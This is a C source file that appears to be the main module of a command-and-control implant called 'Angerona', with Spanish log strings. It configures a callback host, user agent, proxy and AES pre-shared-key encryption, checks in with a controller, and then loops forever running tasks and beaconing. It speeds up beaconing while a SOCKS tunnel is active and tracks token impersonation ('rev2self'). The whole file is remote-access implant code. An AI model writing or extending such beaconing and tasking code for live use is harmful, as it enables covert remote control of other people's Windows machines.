#include "crypto.h"  // Include crypto.h BEFORE angerona.h to avoid redeclaration
#include "angerona.h"
#include "Config.h"
#include "socks_manager.h"

CONFIG_ANGERONA* angeronaConfig = NULL;

/* Context tracking: Current working directory and impersonation context */
static char gCurrentDirectory[MAX_PATH] = "";
static char gImpersonationContext[256] = "";

/* Get current working directory for context tracking */
PCHAR getCurrentDirectoryContext(void) {
    if (gCurrentDirectory[0] == '\0') {
        // Initialize with actual current directory if not set
        if (GetCurrentDirectoryA(sizeof(gCurrentDirectory), gCurrentDirectory) == 0) {
            gCurrentDirectory[0] = '\0';
        }
    }
    return gCurrentDirectory;
}

/* Set current working directory for context tracking */
VOID setCurrentDirectoryContext(PCHAR cwd) {
    if (cwd && strlen(cwd) < sizeof(gCurrentDirectory)) {
        strncpy(gCurrentDirectory, cwd, sizeof(gCurrentDirectory) - 1);
        gCurrentDirectory[sizeof(gCurrentDirectory) - 1] = '\0';
    }
}

/* Get impersonation context for context tracking */
PCHAR getImpersonationContext(void) {
    return gImpersonationContext;
}

/* Set impersonation context for context tracking */
VOID setImpersonationContext(PCHAR context) {
    if (context) {
        strncpy(gImpersonationContext, context, sizeof(gImpersonationContext) - 1);
        gImpersonationContext[sizeof(gImpersonationContext) - 1] = '\0';
    } else {
        gImpersonationContext[0] = '\0';
    }
}

/* Clear impersonation context (e.g., after rev2self) */
VOID clearImpersonationContext(void) {
    gImpersonationContext[0] = '\0';
}

VOID angeronaMain() {
    _inf("Inicializando configuración de Angerona");

    angeronaConfig = (CONFIG_ANGERONA*)LocalAlloc(LPTR, sizeof(CONFIG_ANGERONA));
    if (!angeronaConfig) {
        _err("Error: fallo en LocalAlloc para angeronaConfig");
        return;
    }

    angeronaConfig->idAgente       = (PCHAR)initUUID;
    angeronaConfig->hostName       = (PWCHAR)hostname;
    angeronaConfig->puertoHttp     = port;
    angeronaConfig->endPoint       = (PWCHAR)endpoint;
    angeronaConfig->userAgent      = (PWCHAR)useragent;
    angeronaConfig->metodoHttp     = (PWCHAR)httpmethod;
    angeronaConfig->SSL            = ssl;
    angeronaConfig->proxyHabilitado= proxyenabled;
    angeronaConfig->urlProxy       = (PWCHAR)proxyurl;
    angeronaConfig->tiempoSleep    = (UINT32)(sleep_time) * 1000;
    angeronaConfig->encryptionEnabled = ENCRYPTION_ENABLED;

    // Debug: print the raw values
    _dbg("ENCRYPTION_ENABLED = %d", ENCRYPTION_ENABLED);
    _dbg("AESPSK_KEY = %s", AESPSK_KEY);
    _dbg("AESPSK_KEY length = %zu", strlen(AESPSK_KEY));

    // Initialize AESPSK encryption if enabled
    if (angeronaConfig->encryptionEnabled) {
        _inf("Inicializando cifrado AES256-HMAC...");
        if (crypto_init_aespsk(AESPSK_KEY)) {
            _inf("Cifrado habilitado");
        } else {
            _err("Falló la inicialización del cifrado");
            angeronaConfig->encryptionEnabled = FALSE;
        }
    } else {
        _inf("Cifrado deshabilitado");
    }
    _dbg("Config: id=%s host=%ls port=%u ssl=%d proxy=%d endpoint=%ls UA=%ls sleep=%u",
        angeronaConfig->idAgente,
        angeronaConfig->hostName,
        angeronaConfig->puertoHttp,
        (int)angeronaConfig->SSL,
        (int)angeronaConfig->proxyHabilitado,
        angeronaConfig->endPoint,
        angeronaConfig->userAgent,
        angeronaConfig->tiempoSleep);

    _inf("Iniciando primer checkin...");
    PAnalizador respuestaAnalizador = checkin();

    if (!respuestaAnalizador) {
        _err("Error en el primer checkin, cerrando");
        return;
    }

    parseChecking(respuestaAnalizador);
    
    _inf("Entrando en bucle principal (rutina). Sleep inicial: %u ms", angeronaConfig->tiempoSleep);

    while (TRUE) {
        rutina();

        /* Si SOCKS está activo, reducir sleep para mejorar latencia */
        if (socks_proxy_active) {
            _dbg("SOCKS activo -> checkin rápido (100 ms)");
            Sleep(100);
        } else {
            _dbg("SOCKS inactivo -> durmiendo %u ms", angeronaConfig->tiempoSleep);
            Sleep(angeronaConfig->tiempoSleep);
        }
    }
}

VOID setUUID(PCHAR newUUID) {
    angeronaConfig->idAgente = newUUID;
    _dbg("UUID actualizado: %s", newUUID);
}
